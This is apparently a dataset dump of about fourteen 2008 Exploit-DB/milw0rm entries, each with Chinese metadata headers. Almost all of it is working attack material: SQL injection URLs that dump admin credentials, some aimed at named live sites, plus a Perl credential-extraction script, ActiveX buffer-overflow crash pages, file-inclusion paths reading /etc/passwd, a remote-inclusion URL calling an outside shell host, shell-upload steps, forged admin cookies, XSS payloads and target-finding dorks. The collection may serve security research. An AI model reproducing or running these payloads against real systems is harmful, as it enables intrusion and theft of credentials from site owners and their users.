QLWD/code_shield huggingface dataset:
标题: HockeySTATS Online 2.0 - Multiple SQL Injections EDB-ID: 6084 CVE: 2008-7085 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Hockeystats Online V BASIC & ADVANCED ( index.php opt )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: L!VE DEMO :]]-
##
##  [[BASIC VERSION]]    www.thehockeystop.com/hstatsbasic/?opt=viewpage&type=html&id=-00002'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0+from+teams/*
##                       www.thehockeystop.com/hstatsbasic/index.php?opt=schedule&season=1&divid=-1'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL+from+teams/*
##
## [[ADVANCED VERSION]]  www.thehockeystop.com/hockeystats/?opt=viewpage&type=html&id=-00002'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0+from+teams/*
##                       www.thehockeystop.com/hockeystats/index.php?opt=schedule&season=1&divid=-1'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL+from+teams/*
########################
########################
-[[ NOTE ]]-
1 ) In the first exploite you you need set the real id  ?opt=viewpage&type=html&id=-< real id >'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0+from+teams/*
2 ) Download [[Basic version]] code from here ;D   http://www.thehockeystop.com/site/downloads/HSO_basic/HockeySTATS_Basic.zip
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6084
标题: PPMate PPMedia Class - ActiveX Control Buffer Overflow (PoC) EDB-ID: 6090 CVE: 2008-3242 类型: DOS 平台: WINDOWS 发布日期: 2008-07-17 漏洞利用脚本: <html>
<body>

<object id=target
classid=clsid:72B15B25-2EC8-4CDD-B284-C89A5F8E8D5F></object>
<script language=vbscript>

  arg1=String(10000, "A")
  target.StartURL(arg1)

</script>
</body>
</html>

# milw0rm.com [2008-07-17] URL: https://www.exploit-db.com/exploits/6090
标题: Alstrasoft Affiliate Network Pro - 'pgm' SQL Injection EDB-ID: 6087 CVE: 2008-3240 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-16 漏洞利用脚本: |___________________________________________________|
|
|AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.alstrasoft.com/affiliate.htm
|
| DorK   : "Affiliate Network Pro"
| DorK   : inurl:"index.php?Act=directory"
|
|___________________________________________________|

Exploit: 


www.[target].com/Script/index.php?Act=directory&joinstatus=pgmwise&pgm=-1+union+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+from+partners_admin--

Exploit 2 :

www.[target].com/Script/index.php?Act=directory&joinstatus=pgmwise&pgm=-1+union+select+1,2,3,concat_ws(0x3a,admin_login,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45+from+partners_admin--

_____________
column_name

login
passwd
_____________



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|  
|              Iraqihack | FAHD | mos_chori | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-16] URL: https://www.exploit-db.com/exploits/6087
标题: Joomla! Component DT Register - SQL Injection EDB-ID: 6086 CVE: 2008-3265 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-16 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/       Joomla Component DT Register Remote SQL injection       \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkeR]

[*] Dork      :  inurl:com_DTRegister eventId

[*] Vendor    :  http://www.dthdevelopment.com/components/dt-register.html

[*] POC        : http://[TARGET]/[Path]/index.php?option=com_dtregister&eventId={SQL}

[*] Example    : http://[TARGET]/[Path]/index.php?option=com_dtregister&eventId=-12 UNION SELECT concat(username,0x3a,password) FROM jos_users&task=pay_options&Itemid=138

[*] Greetings  : All friends & muslims HaCkeRs
                 www.dz-secure.com
          
----------------------------------------------------------------------------

# milw0rm.com [2008-07-16] URL: https://www.exploit-db.com/exploits/6086
标题: tplSoccerSite 1.0 - Multiple SQL Injections EDB-ID: 6088 CVE: 2008-3251 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-16 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## tplSoccerSite 1.0 ( player.php id )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: L!VE DEMO :]]-
##
## 1) www.tpl-design.com/tplsoccersite/tampereunited/index.php?id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword)MrSQL,current_user,0,0+FROM+tplss_passwords/*
## 2) www.tpl-design.com/tplsoccersite/tampereunited/player.php?id=-1'+UNION+SELECT+0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0,0,0,0,0,0+FROM+tplss_passwords/*
## 3) www.tpl-design.com/tplsoccersite/tampereunited/opponent.php?opp=-1'+UNION+SELECT+CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0+FROM+tplss_passwords/*
## 4) www.tpl-design.com/tplsoccersite/tampereunited/matchdetails.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),0,0,0,0,0+FROM+tplss_passwords/*
## 5) www.tpl-design.com/tplsoccersite/tampereunited/additionalpage.php?id=-1'+UNION+SELECT+CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0+FROM+tplss_passwords/*
##
########################
########################
 -[[ NOTE ]]-
1 ) Download [[ tplSoccerSite 1.0 ]]   http://www.tpl-design.com/download/tpl_ss_10_free.zip
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-16] URL: https://www.exploit-db.com/exploits/6088
标题: Pragyan CMS 2.6.2 - 'sourceFolder' Remote File Inclusion EDB-ID: 6078 CVE: 2008-3207 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: << In The Name Of GOD >>


                  -------------------------------------------------------------
                   -               [ Persian Boys Hacking Team ] -:- 2008
                   -
                   - discovered by N3TR00T3R [at] Y! [dot] com
                   - pragyan 2.6.2 Remote File Includion
                   - download :http://sourceforge.net/project/showfiles.php?group_id=220286 
                   - sp tnx : Sp3shial,Veroonic4,God_Master_hacker,a_reptil,Ciph3r,shayan_cmd
                              r00t.master,Dr.root,Pouya_server,Spyn3t,LordKourosh,123qwe,mr.n4ser
                              Zahacker,goli_boya,i_reza_i,programer, and all irchatan members ...
                            [www.Persian-Boys.com] & [www.irchatan.com]
                  --------------------------------------------------------------

if register_globals = On;


Vul Code : [/cms/modules/form.lib.php]
##########################################################
#global $sourceFolder;
#global $moduleFolder;
#require_once("$sourceFolder/$moduleFolder/form/editform.php");
#require_once("$sourceFolder/$moduleFolder/form/editformelement.php");
#require_once("$sourceFolder/$moduleFolder/form/registrationformgenerate.php");
#require_once("$sourceFolder/$moduleFolder/form/registrationformsubmit.php");
#require_once("$sourceFolder/$moduleFolder/form/viewregistrants.php");
##########################################################

Exploit : 

##########################################################
#
# www.target.com/path/cms/modules/form.lib.php?sourceFolder=http://shell.own3r.by.ru/syn99.php?
#
##########################################################

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6078
标题: PHP Help Agent 1.1 - 'content' Local File Inclusion EDB-ID: 6080 CVE: 2008-3385 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: #####################################################
# Author : BeyazKurt
# Contact : Djm-sut@Hotmail.Com
#
# Script : php Help Agent (v1.1 Full & 1.0)
# Risk : Local File Include
# Download : http://sourceforge.net/projects/phphelpagent/
#
# File : include/head_chat.inc.php
#
# Code :
# <?php
#     if(file_exists($content)) {
#   include($content);
#     }
# ?>
#
# Exploit :
#
#  Vuln.Com/include/head_chat.inc.php?content=../../../../etc/passwd
#
# /* Hack Is Not Crime! */
# -------------------------------
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#                      Proud 2 Be ALBANIAN
#                      4Ever FENERBAHÃ‡E (H)
#
# Z0ne-H gicik v1 is public :D (Download NetkabuS.CoM)
# Not : Fuck off pala! aq lameri.
#
# Thnx : All Muslims Albanian & Turkish Coder..
# Thnx : dArkSAnqelSu | anladin sen onu anladin... :)
#
#######################################################

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6080
标题: Document Imaging SDK 10.95 - ActiveX Buffer Overflow (PoC) EDB-ID: 6083 CVE: 2008-3209 类型: DOS 平台: WINDOWS 发布日期: 2008-07-15 漏洞利用脚本: <!--
Document Imaging SDK Buffer Overflow Vulnerability

               DoS Proof of concept

Author: r0ut3r
Mail  : writ3r [at] gmail.com
-----------------------------
-Tested on WinXP Pro SP2

Version: 10.95


Vendor : Black Ice Software

Price  : $999

File : biimgfrm.ocx
CLSID: {79956462-F148-497F-B247-DF35A095F80B}

DLL Settings: 
RegKey Safe for Script: True
RegKey Safe for Init  : True
KillBitSet            : False

Register: 



EIP 7C91B3FB -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EAX 001919C0 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 41414141
ECX 00004141
EDX 00150168 -> 00000000
EDI 41414141



ESI 001919B8 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 0013EA20 -> 0013EAA4
ESP 0013E804 -> 0000021A
-----------------------------
-->
<object classid='clsid:79956462-F148-497F-B247-DF35A095F80B' id='test'></object>



<script language='vbscript'>
 Sub Boom
    buff = String(14356, "A")
    test.GetNumberOfImagesInGifFile buff

 End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6083
标题: PhotoPost vBGallery 2.4.2 - Arbitrary File Upload EDB-ID: 6082 CVE: 2008-7088 2008-0251 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: vBulletin PhotoPost vBGallery v2.x Remote File Upload

Found by : Cold z3ro

e-mail : exploiter@hackteach.org

Home page : www.Hack.ps

==============================

exploit usage : 

http://localhost/Forum/$gallery_path/upload.php

here the exploiter can upload php shell via this script

by renamed it's name to $name.php.wmv

but first he should be a user in the forum

thats so important to him cus the uploaded file will be

in his account nomber folder .

example :

user : Cold z3ro
http://www.hackteach.org/cc/member.php?u=4

his account nomber is 4 as shown in link ,

the uploaded file ( shell ) will be in

http://localhost/Forum/$gallery_path/files/4/$name.php.wmv

id the user Cold z3ro have acconut nomber as example ( 12345 )

the file path is 

http://localhost/Forum/$gallery_path/files/1/2/3/4/5/$name.php.wmv

===================

i want tho thank all members in www.hackteach.org forums , best work u are done.

thank u .

# hackteach.org

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6082
标题: Galatolo Web Manager 1.3a - Cross-Site Scripting / SQL Injection EDB-ID: 6075 CVE: 2008-6249 2008-6248 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: --==+============================================================================+==--
--==+   Galatolo Web Manager 1.3a <= XSS / Remote SQL Injection Vulnerability    +==--    
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
 [+] Discovered On: 14 Jul 2008
 [+] Download: http://gwm.dev-area.org/view.php?id=8

 [*] Vulnerabilities:
 
 [*] XSS <= 1.3a
 [+] all.php?tag= [Code Javascript]
 [+] http://site.com/all.php?tag=<script>alert(document.cookie)</script>
 
 [*] SQL (plugin users) 1.3a
 [+] plugins/users/index.php?id= [Code SQL]
 [+] -1+union+select+null,concat(user,0x3a,pass),null,concat(user(),0x3a,database(),0x3a,version())+from+users+where+id=1--
 
 [*] Exploit:

 #!/usr/bin/perl 
 use strict;
 use LWP::UserAgent;

 my $host = shift;
 my ($start,$content,@login);
 my $evilxx = "/plugins/users/index.php?id=-1+union+select+1,concat(0x25,user,0x25,pass),null,null+from+users+where+id=1--";

 if($host =~ /^http:\/\/?/i)
 {
   $start = new LWP::UserAgent or die "[+] Unable to connect\n";
   $start->timeout(1);
   $start->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
   $content = $start->get($host.$evilxx);
  
   if($content->is_success)
   {
     if($content->content =~ /%(.+?)%([0-9a-f]{32})/)
     {
       push(@login,$1,$2);
       print "[+] Login:\n";
       print "[+] Username: $login[0]\n";
       print "[+] Password: $login[1]\n\n";
      
       print "[+] Cookie Session:\n";
       print "[+] gwm_user = $login[0]\n";
       print "[+] gwm_pass = $login[1]\n\n";
      
       print "[+] Crack Password:\n";
       print "[+] md5(md5(password)) for crack:\n"; 
       print "[+] http://passcracking.com\n";
     }
     else
     {
       print "[+] Exploit Failed\n";
       print "[+] Site Not Vulnerable\n";
     }
   }
 }
 else
 {
   print "[+] Galatolo Web Manager (plugin users) 1.3 Remote SQL Injection\n";
   print "[+] Exploit Coded By: StAkeR ~ StAkeR\@hotmail.it\n\n";
   print "[+] Usage: Perl $0 <host>\n";
   print "[+] Usage: Perl $0 http://site.com\n";
 }

# milw0rm.com [2008-07-15] URL: https://www.exploit-db.com/exploits/6075
标题: CodeDB 1.1.1 - 'list.php' Local File Inclusion EDB-ID: 6071 CVE: 2008-3190 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-14 漏洞利用脚本: ###############################################################################
#
#   Name    :   CodeDB (list.php lang) Local File Inclusion Vulnerability
#   Author  :   cOndemned
#   Greetz  :   ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################

Source :

    // list.php
    
    2.  $lang = htmlspecialchars($_GET['lang']);            // ok, but.... for what ? lol
    
    7.  if(file_exists('templates/'.$lang.'_middle.php'))   // We'll have to cut off rest of filename & extension
 8.      include('templates/'.$lang.'_middle.php');      // Ekhm... pwned ;d
    
    
Proof of Concept :

    http://[host]/[codeDB_path]/list.php?lang=../readme.txt%00
    http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd%00
    http://[host]/[codeDB_path]/list.php?lang=../[local_file]%00

    
EoF.   

# milw0rm.com [2008-07-14] URL: https://www.exploit-db.com/exploits/6071
标题: MFORUM 0.1a - Arbitrary Add Admin EDB-ID: 6068 CVE: 2008-3191 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: =================================================
  MFORUM 0.1a Arbitrary Add-Admin Vulnerability
=================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 13 July 2008
SITE   : cwh.citec.us


###################################################################################
APPLICATION : MFORUM
VERSION     : 0.1a
DOWNLOAD    : http://downloads.sourceforge.net/marcioforum/mforum.zip
###################################################################################


--- Add-Admin Exploit ---

***magic_quotes_gpc = off***

-------------
 Description
-------------

    MFORUM 0.1a has Vulnerability to escalate user's privilege to administartor's privilege.
That Vulnerable in "Control Panel - Edit your profile" (http://[Target]/[mforum_path]/usercp.php?mode=edit_profile)
and you can injection code into various field (City, Interest, Email, Icq, msn, Yahoo Messenger).

    This action will give your account can use Admin Control Panel (http://[Target]/[mforum_path]/admin/index.php)
with Administrative's Privilege.

-----------------
 Vulnerable Path
-----------------
[+] http://[target]/[mforum_path]/usercp.php?mode=edit_profile

--------------
 Exploit code
--------------
[+] hacked", type="2


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6068
标题: ITechBids 7.0 gold - Cross-Site Scripting / SQL Injection EDB-ID: 6069 CVE: 2008-3238 2008-3237 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: ######## ##    ##  ######  ########  ##    ## ########  ########  #######  ######## 
##       ###   ## ##    ## ##     ##  ##  ##  ##     ##    ##    ##     ## ##     ##
##       ####  ## ##       ##     ##   ####   ##     ##    ##           ## ##     ##
######   ## ## ## ##       ########     ##    ########     ##     #######  ##     ##
##       ##  #### ##       ##   ##      ##    ##           ##           ## ##     ##
##       ##   ### ##    ## ##    ##     ##    ##           ##    ##     ## ##     ##
######## ##    ##  ######  ##     ##    ##    ##           ##     #######  ######## 

################################ !R4Q!4N H4CK3R  ###################################

ITechBids 7.0 Gold Multiple Remote Vulnerabilities

Website : http://www.itechscripts.com

Founded By : Encrypt3d.M!nd

NOTE:I Didn't Search The Script Well,So Maybe There is other Vulnerabilities.


# 1- Cross-site scripting (XSS):

Affected File : forward_to_friend.php

PoC :

/forward_to_friend.php?productid=<script>alert(666);</script>


# 2-Remote Sql Injection(s) :

Affected File(s) :

sellers_othersitem.php
classifieds.php
shop.php

Note:There is Other Files Affected But I Couldn't Exploit Them :(

PoC:

/sellers_othersitem.php?seller_id=666666+union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+admin

/classifieds.php?productid=666666+union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+admin

/shop.php?id=666666+union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+admin


# Greetz:

MY Sweet,L!0N,EL Mariachi,-=MizO=-(:-L),Shadow Administrator,
KoRn The Dog,Mini-Spider,All My Friends


The EnD :D

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6069
标题: Maian Weblog 4.0 - Insecure Cookie Handling EDB-ID: 6064 CVE: 2008-3318 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+           Maian Weblog <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by Maian Weblog v4.0



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Weblog suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "weblog_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+           Maian Weblog <= v4.0 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6064
标题: Maian Search 1.1 - Insecure Cookie Handling EDB-ID: 6066 CVE: 2008-3317 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Search v1.1



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "search_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6066